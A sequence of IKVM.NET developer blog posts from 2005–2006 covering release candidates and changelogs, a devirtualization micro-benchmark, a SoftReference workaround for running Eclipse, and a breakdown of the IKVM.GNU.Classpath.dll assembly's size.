In addition, I've now enabled 1.5 support in the mainline version. Many of the 1.5 APIs that previously were only available on the GNU Classpath generics branch have been ported to the trunk, so it is starting to make more sense to enable 1.5 support in the VM by default.

The code is in cvs, although SourceForge has been having some problems, so it might not yet be available thru anoncvs. Development snapshot binaries are available here.

4/6/2006 2:42:05 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]

Thursday, March 30, 2006

A Micro Optimization

Yesterday I thought of a potential micro optimization for the generated CIL code. Since I'm now tracking method invocations on the this reference, it is possible to devirtualize calls to final methods or methods that are provably not overridden. I didn't expect too much from this optimization, because I assumed that the .NET JIT is capable of doing the same optimization and so the only effective difference would be the removal of the explict null check of the this reference.

After implementing the optimization I wrote a micro benchmark:

final class perf {
  public static void main(String[] args) {
    perf p = new perf();
    p.runTest();
  }
  private void runTest() {
    long start = System.currentTimeMillis();
    for (int i = 0; i < 1000000000; i++) {
      equals(null);
    }
    long end = System.currentTimeMillis();
    System.out.println(end - start);
  }
}

Here are the results:

  Time (ms)
IKVM 0.26 10806
IKVM 0.27 1883
JDK 1.1 4597
JDK 1.5 Client VM 12068
JDK 1.5 Server VM 0


Somewhat to my surprise neither JDK 1.5 Client VM nor the .NET Framework JIT realised that the virtual method invocation could be devirtualized. Unsurprisingly, HotSpot Server VM was able to deduce that the loop didn't actually do anything at all and optimize it away entirely.

I also threw in JDK 1.1, because as usual in microbenchmarks it outperforms HotSpot Client VM.

Note that the use of the equals method in the benchmark is not very significant, it's just a placeholder for a simple method that can easily be inlined. This optimization is most significant for simple property getters that can be inlined.

The code for this optimization is not yet in cvs.

Oops

On a more embarrassing note, doing this optimization also revealed a hole in the object model remapping. Throwable doesn't properly inherit all the Object methods. The code that gets generated works correctly (in most cases), but it is not verifiable. Here's an example of something that is currently broken:

public class test extends Throwable {
  public static void main(String[] args) throws Exception {
    test c = new test() {
      protected Object clone() {
        return "OK";
      }
    };
    System.out.println(c.clone());
  }
}

Running this on IKVM throws a CloneNotSupportedException instead of printing OK.

3/30/2006 11:08:03 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Friday, March 24, 2006

Rotor 2.0 released

Microsoft released Rotor 2.0. Rotor is the Shared Source implementation of the CLI (and shares a large part of the code with the .NET Framework 2.0).

Congratulations and thanks to the Rotor team!

3/24/2006 4:07:55 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Thursday, March 23, 2006

IKVM 0.26 Released

I finally got around to releasing the 0.26 bits (identical to rc2). Get them here.

3/23/2006 1:34:00 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [1]

Saturday, March 11, 2006

IKVM 0.26 rc2

A new release candidate. It turns out I was a little over enthusiastic in restructuring the class loading to move dynamic class loading into a subclass (which I did to make it easier to build a version of IKVM.Runtime.dll that doesn't support dynamic class loading, to run on the Compact Framework). java.lang.reflect.Proxy support requires that you can dynamically load classes in the bootstrap class loader, so I added back support for that (in a hacky way by delegating to a bogus instance of DynamicClassLoader). This bug was reported by Chris Keller who was also kind enough to fix two socket bugs.

Changes:

  • Restored the ability to dynamically load a class in the bootstrap class loader.
  • Changed PlainSocketImpl to throw java.net.SocketTimeoutException instead of java.io.InterruptedIOException when a timeout expires.
  • Changed PlainSocketImpl.read() to return zero instead of throwing an exception when a non-blocking socket read would block.

Files are available here: ikvm-0.26.0.1.zip (sources + binaries), ikvmbin-0.26.0.1.zip (binaries), ikvmbin-generics-0.26.0.1.zip (binaries built from generics branch)

3/11/2006 7:48:06 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Wednesday, March 08, 2006

IKVM 0.26 rc1

A new release candidate based on GNU Classpath 0.90 (the successor to 0.20). IKVM.GNU.Classpath.dll grew by more than a megabyte. A big part of this is due to the new crypto implementation that was merged into GNU Classpath. This a great improvement!

Updated japi results are available here.

  • Integrated GNU Classpath 0.90
  • Updated classpath.security with new security providers
  • Added "Windows Vista" as a possible value of os.name system property
  • Included VMObjectInputStream.currentClassLoader() fix from Classpath version
  • Fixed Float.toString() bug (1E8 would be converted to "1E+08.0" instead of "1.0E8")
  • Made some VMThread members package accessible to avoid accessor methods
  • Added copyright banners to executables (when run without command line arguments or with the -version option)
  • Added "-showversion" option to ikvm.exe
  • Fixed ikvmstub to use IKVM.Runtime.Util.GetClassFromTypeHandle() instead of IKVM.Runtime.Util.GetFriendlyClassFromType(), because that would cause problems on remapped types in mscorlib.
  • Fixed support for dynamically instantiating a class that was not loadable at method compilation time.
  • Added support for running interface static initializer when accessing a final field.
  • Moved most .NET resource reading code from IKVM.GNU.Classpath to IKVM.Runtime, to make it easier to use new resource and compression APIs on Whidbey.
  • Introduced ikvm.io.InputStreamWrapper (wraps a java.io.InputStream around a System.IO.Stream).
  • Removed undocumented -manifestResources ikvmc option. When compiled for Whidbey, resources are now always stored as manifest resources.
  • When compiled for Whidbey, resources are now compressed using DeflateStream instead of custom compression.
  • Changed SoftReference never to be cleared, since there is no reliable way to detect low memory and clearing them too eagerly breaks Eclipse.
  • Fixed ikvmstub to also export implemented interfaces that are non-public.
  • Split off dynamic class loading support from ClassLoaderWrapper.cs into new DynamicClassLoader.cs.
  • Moved static compiler support from vm.cs to new file CompilerClassLoader.cs.
  • Fixed CompiledTypeWrapper and DotNetTypeWrapper to finish base class and interfaces in their Finish method.

Files are available here: ikvm-0.26.0.0.zip (sources + binaries), ikvmbin-0.26.0.0.zip (binaries), ikvmbin-generics-0.26.0.0.zip (binaries built from generics branch)

3/8/2006 11:14:37 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [1]

Saturday, February 11, 2006

Eclipse Again

Nat commented on the previous entry:

I just tried to run ikvm against eclipse 3.1.2. It failed with the following message:

!ENTRY initial@reference:file:plugins/org.eclipse.core.runtime_3.1.2.jar/ 0 0 2006-02-02 11:49:09.218
!MESSAGE FrameworkEvent.ERROR
!STACK 0
org.eclipse.core.runtime.InvalidRegistryObjectException: Invalid registry object
...

This turns out to be caused by a SoftReference that is being cleared too eagerly. Since .NET has no soft references and there is no way to determine if the managed heap is running low, I used a hack to always promote objects referenced by a soft reference to generation 2 and from there on treat them as weak references, which effectively means they will be collected the next time a full GC is run and there are no more strong references to the object. Strictly speaking clearing them before running out of memory is not incorrect, because the Java doc for SoftReference says:

All soft references to softly-reachable objects are guaranteed to have been cleared before the virtual machine throws an OutOfMemoryError. Otherwise no constraints are placed upon the time at which a soft reference will be cleared or the order in which a set of such references to different objects will be cleared.

However, Eclipse depends on soft references not being cleared (at least during a particular window while it is starting up). I realised that always promoting the object to generation 2 is not correct either (because you may run out of memory before the object gets there). So considering the complexity and possible performance implications of the current hacks, I decided to simply never clear SoftReferences.

In conclusion, the .NET Framework needs something like soft reference support and until that happens, it won't be possible to implement SoftReference correctly and efficiently.

Update: Nat points out in the comments that there is a workaround:

As a workaround, you can start up eclipse with the following command line

eclipse -vm c:\tools\ikvm-0.24.0.1\bin\ikvm.exe -vmargs -Declipse.noRegistryFlushing=true

2/11/2006 1:52:02 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [2]

Monday, January 30, 2006

IKVM 0.24 Released

I released 0.24.0.1 to SourceForge. João Saraiva reported that ikvmstub doesn't work correctly for mscorlib, but I've decided not to fix that for this version and instead make the correct mscorlib.jars available for download: .NET 1.1 and .NET 2.0

1/30/2006 9:12:31 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [3]

Monday, January 23, 2006

IKVM 0.24 rc2

João Saraiva reported a bug that I considered serious enough to fix for the 0.24 release, so here's a new release candidate. I also snuck in another AWT related fix.

Changes:

  • Changed WinForms event loop thread to STA.
  • Fixed handling of open generic types (by making sure they are invisible to Java code).

Files are available here: ikvm-0.24.0.1.zip (sources + binaries), ikvmbin-0.24.0.1.zip (binaries), ikvmbin-generics-0.24.0.1.zip (binaries built from generics branch)

1/23/2006 11:15:40 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Monday, January 16, 2006

IKVM 0.24 rc1

A new release candidate based on GNU Classpath 0.20 that was released this weekend. The GNU Classpath progress has been truly amazing. Updated japi results are available here. If no major bugs are found in this rc it will turn into a release, probably by the end of the week or early next week.

Note that while I did a little work to improve compatibility with the .NET Compact Framework, it is not supported and does not work. There is also no commitment from my end to work on this.

Changes:

  • Integrated GNU Classpath 0.20
  • Changed nant build files to use NAnt 0.85-rc3 syntax and features
  • Removed support for compiling classpath with jikes
  • Added support for targetting both .NET 1.1 and .NET 2.0 to the build files
  • Removed assembly names from type names in map.xml (to better support targetting a different version of the CLR)
  • Added conditional compilation support to map.xml parser (based on target CLR version)
  • Changed map.xml Object.hashCode implementation to use RuntimeHelpers.GetHashCode when targetting .NET 2.0 (RuntimeHelpers.GetHashCode is broken on .NET 1.1 and the non-virtual call trick is no longer verifiable on .NET 2.0)
  • Added map.xml Object.equals implementation instead of relying on System.Object.Equals.
  • Changed map.xml VMSystem.identityHashCode to use RuntimeHelpers.GetHashCode when targetting .NET 2.0
  • Hardened VMSystemProperties to work better on the Compact Framework (where several methods are missing)
  • Fixed several NIO socket bugs
  • Changed FileChannelImpl to work on the Compact Framework (stdin, stdout and stderr are missing on the Compact Framework)
  • Hardened VMClassLoader to work better on the Compact Framework
  • Changed static compiler to use ReflectionOnly context for loading and generating assemblies (when compiled for .NET 2.0)
  • Added conditional compilation #ifs to the runtime to work better on the Compact Framework
  • Changed compilation of invokespecial bytecode to be verifiable on .NET 2.0
  • Added IKVM.Runtime.Util.GetInstanceTypeFromClass() to go from java.lang.Class to System.Type. Note that due to the object model mapping issues there is no one-to-one correspondence from Class to Type, so this method returns the "instance" type, which is logically equivalent to doing Class.newInstance().GetType().
  • Fixed ikvm.exe to give a proper error message when using the -jar option on a jar that doesn't have a manifest or a manifest that doesn't have a Main-Class attribute.
  • Added several hacks to ikvmc, ikvmstub and the runtime to support loading assemblies in the ReflectionOnly context.
  • Implemented optimization in compiler to remove redundant box/unbox operation is many cases.
  • Changed compiler to explicitly implement all inherited interfaces, for compatibility with the Compact Framework.
  • Fixed DotNetTypeWrapper.LoadTypeFromLoadedAssemblies to support generic type instantiations.
  • Optimized compiler to push/pop only the rightmost requires arguments when doing method argument conversions.
  • Implement "this" reference tracking in verifier, to enable code generator to emit more efficient (and verifiable on .NET 2.0) non-virtual base class method calls.
  • Optimized compiler to use short encoding when possible for backward branches.
  • Removed unnecessary verifier hack branch at the end of methods that don't use exception blocks and used short form of the branch.
  • Fixed Math.pow(1.0, Double.INFINITY) result on .NET 2.0.
  • Added SourceFileAttribute to module when running in dynamic mode, to enable source file reporting when running on .NET 2.0.
  • Changed code generator to leave out redundant branches.
  • Fixed infinite recursion in resource loading when SecurityManager is installed.

Files are available here: ikvm-0.24.0.0.zip (sources + binaries), ikvmbin-0.24.0.0.zip (binaries), ikvmbin-generics-0.24.0.0.zip (binaries built from generics branch)

1/16/2006 3:15:07 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [0]

Saturday, December 24, 2005

Getting Incorrect Code to Run Correctly

One of the big challenges of doing a new implementation of an already existing platform is compatibility with the existing platform. Even though there is usually documentation or maybe even a specification that describes the functionality of the platform (and the things you can and cannot depend upon), in practice it turns out that much code that is written against a particular implementation will depend on implementation details. A typical response to this problem is: "That code is incorrect, because it makes assumptions that aren't guaranteed to hold."

The truth of the matter is, of course, that this issue isn't black and white. Sometimes the documentation or specification is vague or ambiguous, sometimes you need to depend on implementation details, because the documented interface simply isn't good enough or in many cases the dependency may simply be a bug in the code, but it's not always easy, desirable or even possible to fix the code.

Ultimately, when a customer has a piece of code that runs correctly on one implementation and it doesn't run on another implementation, the customer has a problem (and will in many cases assume that the problem is caused by the alternative implementation, since that's only thing that is being varied), so from a customer's point of view, supporting “incorrect” code can be a very important feature.

I've spent a lot of effort in IKVM to support incorrect code. Sometimes this can be frustrating, but I realize that the value of IKVM is to a large degree proportional to its compatibility with Java.

Some people in the GNU Classpath community think that we should implement the specification as correctly and efficiently as possible, but I'm often arguing for compatibility with the Sun implementation, even if this means duplicating buggy or inefficient behavior. Obviously this is a tricky issue, because Sun fixes bugs and sometimes makes backward compatibility breaking changes as well, so in every case we need to figure out whether it is likely that Sun will ever fix the bug (or change the implementation) and whether the benefit outweighs the cost.

It's important to always keep in mind though, that “The Right Thing” from our geeky developer oriented view doesn't always align with our customer's expectations and I think that most FOSS projects could benefit from a little bit more customer oriented thinking every now and then.

12/24/2005 1:01:15 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [3]

Thursday, November 24, 2005

IKVM 0.22 Released

I released 0.22 to SourceForge.

11/24/2005 10:50:03 AM (W. Europe Standard Time, UTC+01:00)  #    Comments [3]

Monday, November 14, 2005

IKVM 0.22 rc1

It took a little longer than usual, but I finally managed to put together rc1 of IKVM 0.22 based on GNU Classpath 0.19. For the first time, this release also includes binaries built from the GNU Classpath generics branch. Many thanks to Andrew John Hughes for doing the work that makes this possible.

Update japi results are available here.

Changes:

  • Integrated GNU Classpath 0.19
  • Fixed bug 1310397.
  • Implemented reading package metadata from MANIFEST.MF for ikvmc compiled code.
  • Fixed ClassCastException in ExceptionHelper when Throwable instance methods are called on not remapped .NET exception that was caught in non-Java code and passed through a Java exception handler.
  • Fixed bug reported in support request 1280333.
  • Implemented RemappedTypeWrapper.Finish().
  • Implemented wakeup and waiting for empty list in classpath/gnu/java/nio/SelectorImpl.java
  • Fixed ikvmc resource compression bug that could cause last couple of bytes to fall off.
  • Added a META-INF/MANIFEST.MF to IKVM.GNU.Classpath.dll, so that Class.getPackage() returns the proper info for system classes.
  • Relaxed requirements for field and methods names (as per third edition VM specification).
  • Fixed runtime not to invoke user class loaders when instantiating an array type.
  • Improved weak reference support (improved performance and SoftReferences are not cleared as aggresively as before).
  • Fixed ikvmstub regression that caused .NET 2.0 generic types used by exported types not to be exported.

Files are available here: ikvm-0.22.0.0.zip (sources + binaries), ikvmbin-0.22.0.0.zip (binaries), ikvmbin-generics-0.22.0.0.zip (binaries built from generics branch)

11/14/2005 12:08:37 PM (W. Europe Standard Time, UTC+01:00)  #    Comments [3]

Saturday, October 01, 2005

GNU Classpath generics branch snapshot

As promised a while ago, here is the first IKVM snapshot based on the GNU Classpath generics branch. Note that this does not indicate a commitment to base the next release on the generics branch. I will only start basing my releases on the generics branch when GNU Classpath developer snapshots for the generics branch will be made. I don't know of there is any plan to do so at this time.

New in this release is the ability to reflect on the Java 1.5 generic type information. Based on these new APIs ikvmstub can now roundtrip generic type information (remember, this is Java generics, not .NET generics) and thanks to Stuart's work on Japi we can now get a status of the GNU Classpath library and at the same time test the IKVM/Classpath reflection infrastructure and ikvmstub. Results are available here.

The IKVM source + binaries snapshot is available here. This was build by specifying the “generics” target. Some of the changes in this version are only available when you build this target.

Changes:

  • Method.getModifiers() on ikvmc compiled code didn't return Modifier.SYNCHRONIZED for static synchronized methods.
  • Added support ceq IL instruction to remapper.
  • Added adhoc support for .NET type signatures in <call /> remapper instruction.
  • Improved build file support for building generics branch.
  • Added SignatureAttribute to various map.xml classes and methods.
  • Updated SharpZipLib to 0.84.
  • Added .NET attributes and support for capturing Java Signature and EnclosingMethod attributes.
  • Added support for mapping Java varargs methods onto .NET vararg methods (and v.v.).

Changes (“generics” build target only):

  • Implemented support for 1.5 generic reflection methods.

  • Added support to ikvmstub for roundtripping (Java) generics, enums, annotations, varargs and synthetic marker.

10/1/2005 1:27:27 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Sunday, September 11, 2005

IKVM 0.20 Released

I released 0.20 to SourceForge.

9/11/2005 4:39:33 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Wednesday, September 07, 2005

IKVM 0.20 rc1

A new release candidate based on yesterday's GNU Classpath 0.18 release. Unless any showstoppers are found, these bits will become the official 0.20 release in a few days.

Update japi results are available here.

Changes:

  • Integrated GNU Classpath 0.18
  • Fixed (previously unused) CountingILGenerator.BeginFaultBlock().
  • Added reusing temporary locals to compiler (to reduce file size).
  • Added optimization to compiler to remove recursive exception handlers that make synchronized block exit async safe (see http://weblog.ikvm.net/PermaLink.aspx?guid=3af9548e-4905-4557-8809-65a205ce2cd6).
  • Added optimization to compiler to turn synchronized block exit exception handlers into fault blocks.
  • Interned all member names and signatures (to save memory).
  • Interned type names.
  • Made some minor optimizations to class file parsing.
  • Stopped "normalizing" tableswitch instruction to lookupswitch (since the compiler treated them differently already).
  • Corrected "cannot throw" bytecode metadata flag for ifnonnull instruction.
  • Changed ByteCodeMetaData.CanThrowException() to take NormalizedByteCode.
  • Removed non-normalized bytecode from Instruction structure.
  • Added support for throwing NoClassDefFoundError when accessing a type that previously failed static initialization.
  • Changed ClassLoader.findLoadedClass to also find array classes made of classes that are already loaded (for compatibility with Sun JDK 1.4).
  • Changed ClassLoader <-> ClassLoaderWrapper association from hashtable to using the vmdata field in ClassLoader.
  • Rewrote large parts of class caching by the class loaders to be more spec compliant and more compatible with the Sun implementation for unspecified behavior.
  • Added class and baseclass name to VerifyError message when a class extends a final class.
  • Removed broken mechanism that tried to doom entire classes when a method was unverifiable, instead of throwing the VerifyError when the method is actually called.
  • Fixed bug that caused critical error when compiling a class that contains a package private method that overrides a protected method in a base class.
  • Added more info to some of the loader constraints violated exception messages.
  • Fixed ikvmc to continue compilation when encountering a class that cannot be loaded (due to inaccessible or final base classes).
  • Fixed various bugs in FileChannel.lock()/tryLock().
  • Fixed a verifier bug.
  • Added error message when a typename occurs in multiple referenced assemblies.
  • Fixed VMFile.mkdir NullPointerException when trying to create a root directory.
  • Added ClassFile.GetClassName() to be able to sniff class name from class definition without fully parsing the class definition.
  • Removed ability to parse java.lang.Object from ClassFile.
  • Removed OuterClass property from ClassFile.
  • Moved accidental Finish trigger detection from JavaTypeImpl.Finish to ClassLoaderWrapper.OnTypeResolve, to facilitate new "finish as we go" strategy used by ikvmc.
  • Fixed a couple of places in FieldWrappers where FieldInfo.FieldType was used (which isn't available anymore after we bash the contents of the FieldBuilders to save memory).
  • Enabled Reflection.Emit private field bashing hack to conserve memory for static compilation as well.
  • Introduced IKVM_DISABLE_TYPEBUILDER_HACK environment variable to disable the hack that bashes Reflection.Emit private fields to conserve memory.
  • Changed the way inner classes are resolved by ikvmc to facilitate new "finish as we go" strategy used by ikvmc.
  • Fixed subtle miranda method bug when dealing with loader constraint violations.
  • Fixed method generator to set MethodAttributes.NewSlot when a mangled method name is used to override a method.
  • Introduced JVM.FinishingForDebugSave to save memory, simplify code and fix a theoretical bug.
  • Moved bytecode error handling from compiler to verifier, so that the verifier can now accurately track what code is reachable (bytecode that gets compiled as an exception (e.g. NoSuchMethodError) typically results in unreachable code following that instruction). This change allows "broken" constructors to be compiled into verifiable CIL.
  • Moved array cloning hack (to workaround a bug javac) from compiler to verifier.
  • Fixed some unloadable type bugs.
  • Restructed verifier into two separate steps. The first step computes the stack and local variables types and the second step does the actual verification and reachability determination.
  • Changed jniproxy.dll (created with -Xsave) from module to assembly to make the main assembly verifiable.
  • Fixed stack walking to skip HideFromJava methods.
  • Fixed bug 1257044.
  • Moved Name and Signature to MemberWrapper.
  • Renamed MirandaMethodAttribute to HideFromReflectionAttribute.
  • Fixed ikvmc to only generate __Fields inner classes for public interfaces.
  • Added IKVM.Runtime.Util.GetFriendlyClassFromType() method. This is dumb name and subject to change.
  • Added (limited) support to remapper for adding methods to Java classes.
  • Added implicit conversion operator to java.lang.Class to convert from System.Type.
  • Optimized line number table encoding yet again.
  • Fixed bytecode compile to trigger class initializer for "new" bytecode and for accessing constant fields.
  • Changed class loading to reduce chance of inadvertantly hiding exceptions caused by bugs in the IKVM runtime.
  • Improved replacing of ClassNotFoundException with NoClassDefFoundError during class loading.
  • Made delegate helper interfaces private. This solves an incompatibility between ikvmc generated assemblies and C++/CLI, but ultimately this wasn't the reason for this change, the helper interfaces don't have type identity, so they shouldn't be used in public interfaces (preferably they should only be used in delegate instantiation).
  • Fixed class loading bugs that caused Class.forName("cli.java.lang.Object") and Class.forName("System.EventHandler$Method") to work.
  • Fixed ikvmc to no longer generate unused delegate helper interfaces.
  • Changed java.version system property to 1.4.2.
  • Fixed ikvmc to open input files as read-only.
  • Changed JNI methods GetPrimitiveArrayCritical/ReleasePrimitiveArrayCritical to allow up to two arrays to be pinned instead of copied.
  • Fixed compiler to mark all methods with MethodAttributes.HideBySig, to use correct method name resolution semantics when using an ikvmc generated assembly from C#.
  • Removed "ikvm.cleanstacktrace" system property and introduced IKVM_DISABLE_STACKTRACE_CLEANING environment variable to solve initialization order problem.

Files are available here: ikvm-0.20.0.0.zip (sources + binaries), ikvmbin-0.20.0.0.zip (binaries)

9/7/2005 9:46:47 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Tuesday, September 06, 2005

Mono users meeting at the Microsoft PDC

For some reason, this year's Mono BoF proposal was again not accepted. Fortunately, Miguel organized an alternative get together. If you're going to the PDC and you're interested in running your .NET applications on non-Microsoft platforms or simply interested in the state of the leading Open Source CLI implementation, this is a must attend event.
9/6/2005 3:22:39 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Monday, August 15, 2005

Revenge of the Non-Public Base Class

I think I've previously written about the stupidity of allowing public classes to extend non-public classes and implement non-public interfaces, but unfortunately in Java we have to live with this.

Last week rnaylor filed a bug that ikvmc created invalid code when calling public methods inherited from a non-public base class from another class (in another package).

A good example that is (sort of) equivalent to the problem in the bug report are the fields in the java.util.zip.ZipConstants interface. I'd link to the Javadoc for this interface, but it is a private type so there is no public documentation. However, this type still leaves it's marks on the public API, because several of the zip classes implement this interface. For example, ZipFile implements this interface and as a consequence it inherits a whole bunch of constants (i.e. public static final fields) that, as far as I can tell, serve no purpose whatsoever in the public API.

Before I checked in my fix yesterday, ikvmc didn't do anything special with these inherited fields or methods and because of this if you referenced these fields or methods from another assembly ikvmc would generate invalid code to access these members on the private base class and the .NET runtime would complain about this (by throwing System.MethodAccessException or System.FieldAccessException).

The fix was quite involved (the diff was about a thousand lines), because stub methods and field accessors need to be added to any public class that extends a non-public class or implements a non-public interface, however these stubs should not be visible to Java reflection, because that could potentially change the semantics of the code (e.g. for things like calculating the serial version UID). Additionally, while most fields should be exposed as properties (that read/write the field in the base class), constant fields need to be copied to retain their "constantness" when accessing them from another language (e.g. so that you can you say case ZipFile.CENATT: in C#). Another non-obvious consequence of these stub methods is that the stack walking code (in the security system and the code that generates the stack traces) needs to filter out these methods, because the system should function as if these methods weren't there.

The lesson here is that you have to be very careful when designing a class library in Java. I believe that the fields that the ZipConstants interface exposes on ZipFile, ZipEntry, etc. were actually an accident that the Sun developers failed to spot before shipping the original JDK. The general advice should be, don't have public classes extend non-public base classes and don't implement non-public interfaces on any of your public classes. Or at least have some tools in place that check for these inherited public members, to make you aware of them before shipping your library.

Finally, this problem doesn't occur in C#, because C# doesn't allow you to create a public class that extends a non-public base class. It does allow implementing non-public interfaces, but since interfaces can't have fields in C# that isn't a problem. An amusing note is that when you call an inherited public method (in a non-public base class) in an assembly that was generated with the broken version of ikvmc, the C# compiler will happily compile the call for you and the generated (invalid) code will again fail at runtime with a System.MethodAccessException.

8/15/2005 7:09:27 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [3]

Saturday, August 06, 2005

Frozen Strings are Cool

First off all, sorry for the bad pun, but I couldn't resist. Once Whidbey ships, one of the areas that .NET will be light years ahead of Java is the ability to share memory between different instances of the runtime. Microsoft did lots of work in Whidbey to enable sharing of memory pages (e.g. see Rico's post). Sun did a little work in J2SE 5.0 to allow rt.jar to be shared across VM instances, but that's really not much compared with the sharing that NGEN enables on Whidbey.

Frozen Strings

One aspect that hasn't been written about much is the ability to pre-create string instances in NGENed images. What this means is that string literals are layed out in the .data section of the NGEN image exactly like they would be layed out when they are dynamically created by the CLR. So whenever you use a frozen string literal in your managed code you're simply passing around a pointer to static data in the NGEN image and not to an object in the GC heap. Since these strings live in the .data section of the image, the standard copy-on-write page sharing that the operating system uses for initialized data sections in images applies, so unless you modify the object somehow (more about this in a bit) all applications using that image will be sharing the same physical memory pages.

To get NGEN to create frozen strings for your string literals, you have to mark your assembly with the StringFreezingAttribute. Note that the downside of doing this is that your assembly will not be unloadable, because the frozen string instances that live in your image aren't tracked by the GC, the CLR needs to keep the image loaded for the lifetime of the process.

Copy-on-Write

Strings are immutable, so why did I mention modifying the object earlier? One obvious way to modify a string is to use unsafe (or native) code to poke inside the string (a really bad idea!), but there are other ways of "modifying" immutable objects. The first is to use an object as a monitor (using Monitor.Enter or the C# lock() construct) and the second is to get the object's identity hashcode by calling System.Runtime.CompilerServices.RuntimeHelpers.GetHashCode() or doing a non-virtual call to Object.GetHashCode() on the object. Using an object as a monitor will cause the object header to be used as a lightweight lock or as an index into the syncblock table that contains the heavyweight lock, so this can mutate the object (header). Locking on string literals was always a bad idea, because they're probably interned so they may be shared by other pieces of code that you don't know about and they can also be passed across AppDomain boundaries, but in Whidbey there is the additional (potential) cost of having to take a page fault and having to make a private copy of the page containing the strings object header, if the string is frozen. The second issue (identity hashcode) turns out not to be an issue for frozen strings, because NGEN pre-computes an identity hashcode for frozen strings, so RuntimeHelpers.GetHashCode() will simply return the value that was pre-computed and stored in the object header.

8/6/2005 6:52:03 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Friday, July 22, 2005

0.18 Released

I released 0.18.0.0 to SourceForge.

7/22/2005 8:56:55 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Tuesday, July 19, 2005

Assembly File Size

Yesterday's release candidate has a much smaller IKVM.GNU.Classpath.dll than the previous release candidate. As I noted this is due to some optimizations in the metadata. Let's look at the file size of IKVM.GNU.Classpath.dll over time:

Date IKVM Version File Size (bytes)
2004-06-28 0.8.0.0 3,239,936
2005-01-10 0.10.0.1 7,348,224
2005-03-02 0.12.0.0 7,409,664
2005-05-07 0.14.0.1 7,483,392
2005-07-01 0.16.0.0 7,266,304
2005-07-18 0.18.0.0 6,782,976


For reference, here's a graph that shows the growth of GNU Classpath:

The big jump in size between 0.8 and 0.10 is mostly due to three reasons: 1) Long period between releases, 2) Huge growth in GNU Classpath, 3) 0.10 for the first time includes source file names and line number tables (to be able to show source files and line numbers in stack traces).

The size reduction in 0.16 was due to a more efficient format for the line number tables. After making this optimization in 0.16, I wanted to investigate exactly what makes up the size of IKVM.GNU.Classpath.dll, but I couldn't find any tools to analyse a managed PE file based on this criterion. So I opened the ECMA specification and hacked together some code. Here's what I found:

First, let's start with the size of the Java classes and resources that IKVM.GNU.Classpath.dll consists of (to have some reference):

 

bytes

Classes 9,694,349
Resources 2,016,851
Total 11,711,200
Zipped 5,843,852


So, compared with the uncompressed size of the classes and resources, the size of IKVM.GNU.Classpath.dll isn't too bad at all.

Here's a breakdown of the parts of the PE file structure:

  bytes
PE Headers/overhead 4,096
.text section 6,770,688
.rsrc section 4,096
.reloc section 4,096


Not very interesting, except maybe that there is a .reloc section that I don't understand the need for, since there's only managed code in this module.

A little more interesting is a breakdown of the .text section:

  bytes
Unknown 8
CLI Header 72
Code + resources 3,651,236
Managed metadata 3,116,284
Filler (alignment) 3,088


Here's a breakdown of the managed metadata:

  bytes
Metadata Header 32
#~ header 12
#Strings header 20
#US header 12
#GUID header 16
#Blob header 16
#~ stream 1,704,068
String heap 356,048
Userstring heap 327,652
GUID heap 16
Blob heap 728,392


And finally, a breakdown of the #~ stream:

  bytes
Header 112
Module table 12
TypeRef table 2,210
TypeDef table 79,146
Field table 148,620
Method table 669,870
Param table 220,448
InterfaceImpl table 9,472
MemberRef table 5,424
Constant table 47,370
CustomAttribute table 488,676
StandAloneSig table 24,216
PropertyMap table 8
Property table 90
MethodSemantics table 66
MethodImpl table 600
ModuleRef table 8
TypeSpec table 400
ImplMap table 108
Assembly table 28
AssemblyRef table 112
ManifestResource table 3,654
NestedClass table 3,416
Filler (alignment) 2


For those unfamiliar with the CLI metadata specification, these tables contain fixed length records and the fields in the records typically contain flags, indexes into other tables or pointers into a string, userstring or blob heap, or an offset into the Code + resources part of the .text section.

From the above table It should be obvious that the custom attributes contribute a significant part of the file size (and remember, this is the 0.18 version of IKVM.GNU.Classpath.dll that has already been optimized quite a bit).

In my analysis tool I built specific code to look at the sizes of the custom attributes and here's the report it generated:

Custom Attributes
-----------------
Total Blob Bytes:  527670
Total Table Bytes: 488676

Type         Constructor
----         -----------
0x0000000B   IKVM.Attributes.SourceFileAttribute::.ctor(20 01 01 0E ( ...))
0x00000013   IKVM.Attributes.JavaModuleAttribute::.ctor(20 00 01 ( ..))
0x0000001B   IKVM.Attributes.RemappedTypeAttribute::.ctor(20 01 01 12 15 ( ....))
0x00000023   IKVM.Attributes.ModifiersAttribute::.ctor(20 01 01 11 1D ( ....))
0x0000002B   IKVM.Attributes.GhostInterfaceAttribute::.ctor(20 00 01 ( ..))
0x00000033   IKVM.Attributes.HideFromJavaAttribute::.ctor(20 00 01 ( ..))
0x0000003B   IKVM.Attributes.ImplementsAttribute::.ctor(20 01 01 1D 0E ( ....))
0x00000043   System.ThreadStaticAttribute::.ctor(20 00 01 ( ..))
0x0000004B   System.ObsoleteAttribute::.ctor(20 00 01 ( ..))
0x00000053   IKVM.Attributes.InnerClassAttribute::.ctor(20 02 01 0E 11 1D ( .....))
0x0000005B   IKVM.Attributes.ExceptionIsUnsafeForMappingAttribute::.ctor(20 00 01 ( ..))
0x00000063   System.ComponentModel.EditorBrowsableAttribute::.ctor(20 01 01 11 80 FD ( .....))
0x0000006B   IKVM.Attributes.NameSigAttribute::.ctor(20 02 01 0E 0E ( ....))
0x00000073   IKVM.Attributes.ThrowsAttribute::.ctor(20 01 01 1D 0E ( ....))
0x0000007B   IKVM.Attributes.RemappedInterfaceMethodAttribute::.ctor(20 02 01 0E 0E ( ....))
0x0000010B   IKVM.Attributes.LineNumberTableAttribute::.ctor(20 01 01 1D 05 ( ....))
